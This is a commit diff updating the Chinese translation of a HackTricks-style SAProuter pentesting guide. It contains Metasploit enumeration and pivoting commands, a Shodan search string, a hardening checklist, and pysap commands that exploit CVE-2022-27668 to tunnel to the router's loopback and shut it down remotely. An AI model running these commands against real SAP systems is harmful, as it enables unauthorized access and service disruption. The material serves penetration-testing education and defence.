Translated ['src/network-services-pentesting/3299-pentesting-saprouter.m

This commit is contained in:
Translator 2025-08-14 06:15:56 +00:00
parent 912d368d35
commit b6cfe784a5

View File

@ -1,17 +1,19 @@
# # 3299/tcp - Pentesting SAProuter
{{#include ../banners/hacktricks-training.md}}
```text
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
```
这是来自[https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)的帖子摘要
这是来自 [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/) 的帖子摘要
## 理解使用Metasploit进行SAProuter渗透
## 使用 Metasploit 理解 SAProuter 渗透
SAProuter充当SAP系统的反向代理主要用于控制互联网与内部SAP网络之间的访问。它通常通过允许TCP端口3299穿过组织防火墙而暴露于互联网。这种设置使得SAProuter成为渗透测试的一个有吸引力的目标因为它可能作为高价值内部网络的网关。
SAProuter 充当 SAP 系统的反向代理,主要用于控制互联网与内部 SAP 网络之间的访问。它通常通过允许 TCP 端口 3299 通过组织防火墙而暴露于互联网。这种设置使得 SAProuter 成为渗透测试的一个有吸引力的目标,因为它可能作为高价值内部网络的网关。
**扫描和信息收集**
最初,使用**sap_service_discovery**模块进行扫描以确定给定IP上是否运行SAP路由器。这一步对于确认SAP路由器及其开放端口的存在至关重要。
最初,使用 **sap_service_discovery** 模块进行扫描,以确定给定 IP 上是否运行 SAP router。此步骤对于确认 SAP router 的存在及其开放端口至关重要。
```text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
@ -25,7 +27,7 @@ msf auxiliary(sap_router_info_request) > run
```
**枚举内部服务**
通过获得的内部网络洞察,**sap_router_portscanner**模块用于通过SAProuter探测内部主机和服务从而更深入地了解内部网络和服务配置。
通过获得的内部网络洞察,**sap_router_portscanner** 模块用于通过 SAProuter 探测内部主机和服务,从而更深入地了解内部网络和服务配置。
```text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
@ -39,13 +41,13 @@ msf auxiliary(sap_router_portscanner) > set PORTS 32NN
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
```
**内部主机的盲目枚举**
**盲目枚举内部主机**
在从 SAProuter 获取直接信息有限的情况下,可以应用盲目枚举等技术。这种方法试图猜测并验证内部主机名的存在,揭示潜在目标而无需直接的 IP 地址。
直接从SAProuter获取信息有限的情况下可以应用盲目枚举等技术。该方法尝试猜测并验证内部主机名的存在揭示潜在目标而无需直接的IP地址。
**利用信息进行渗透测试**
在映射网络并识别可访问服务后,渗透测试人员可以利用 Metasploit 的代理功能,通过 SAProuter 进行进一步探索和内部 SAP 服务的利用
在映射网络并识别可访问服务后渗透测试人员可以利用Metasploit的代理功能通过SAProuter进行转发,以进一步探索和利用内部SAP服务。
```text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
@ -57,12 +59,73 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
有关Metasploit模块及其使用的详细信息请访问 [Rapid7's database](http://www.rapid7.com/db)。
---
## 最近的漏洞 (2022-2025)
### CVE-2022-27668 不当访问控制 ➜ 远程管理命令执行
在2022年6月SAP发布了安全通知 **3158375**解决了SAProuter所有内核≥ 7.22中的一个关键缺陷CVSS 9.8)。未经身份验证的攻击者可以利用宽松的 `saprouttab` 条目从远程主机 **发送管理数据包**(例如 *shutdown*、*trace-level*、*connection-kill*),即使路由器是在没有 `-X` 远程管理选项的情况下启动的。
该问题源于通过针对未指定地址 **0.0.0.0** 构建到路由器自身回环接口的隧道的可能性。一旦建立隧道,攻击者将获得本地主机权限,并可以运行任何管理命令。
可以使用 **pysap** 框架重现实际利用:
```bash
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0 -r 3299 \
-a 127.0.0.1 -l 3299 -v
# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299
```
**受影响的版本**
* 独立的 SAProuter 7.22 / 7.53
* 内核 7.49, 7.77, 7.81, 7.857.88(包括 KRNL64NUC/UC
**修复 / 缓解措施**
1. 应用 SAP Note **3158375** 中提供的补丁。
2. 从 `saprouttab` 中的 `P``S` 行中移除通配符(`*`)目标。
3. 确保路由器在 **没有** `-X` 选项的情况下启动,并且 **不** 直接暴露于互联网。
---
## 更新的工具和技巧
* **pysap** 积极维护,并提供 `router_portfw.py``router_admin.py``router_trace.py` 用于制作自定义 NI/Router 数据包、模糊测试 ACL 或自动化 CVE-2022-27668 漏洞利用。
* **Nmap** 通过添加自定义 SAProuter 探测扩展服务检测:
```text
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
```
结合 NSE 脚本或 `--script=banner` 快速指纹识别泄露横幅字符串的版本(`SAProuter <ver> on '<host>'`)。
* **Metasploit** 上述辅助模块仍然可以通过使用 pysap 创建的 SOCKS 或 NI 代理工作,即使路由器阻止直接访问,也能实现完整的框架集成。
---
## 加固和检测清单
* 在边界防火墙上过滤端口 **3299/TCP** 仅允许来自受信任的 SAP 支持网络的流量。
* 保持 SAProuter **完全打补丁**;使用 `saprouter -v` 验证并与最新的内核补丁级别进行比较。
* 在 `saprouttab` 中使用 **严格的、特定主机** 条目;避免使用 `*` 通配符,并拒绝针对任意主机或端口的 `P`/`S` 规则。
* 使用 **`-S <secudir>` + SNC** 启动服务,以强制执行加密和相互认证。
* 禁用远程管理(`-X`),如果可能,将监听器绑定到 `127.0.0.1`,同时使用外部反向代理处理所需流量。
* 监控 **dev_rout** 日志,查找可疑的 `ROUTER_ADM` 数据包或意外的 `NI_ROUTE` 请求到 `0.0.0.0`
---
## **参考文献**
- [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/)
## Shodan
- `port:3299 !HTTP Network packet too big`
- `port:3299 !HTTP 网络数据包过大`
{{#include ../banners/hacktricks-training.md}}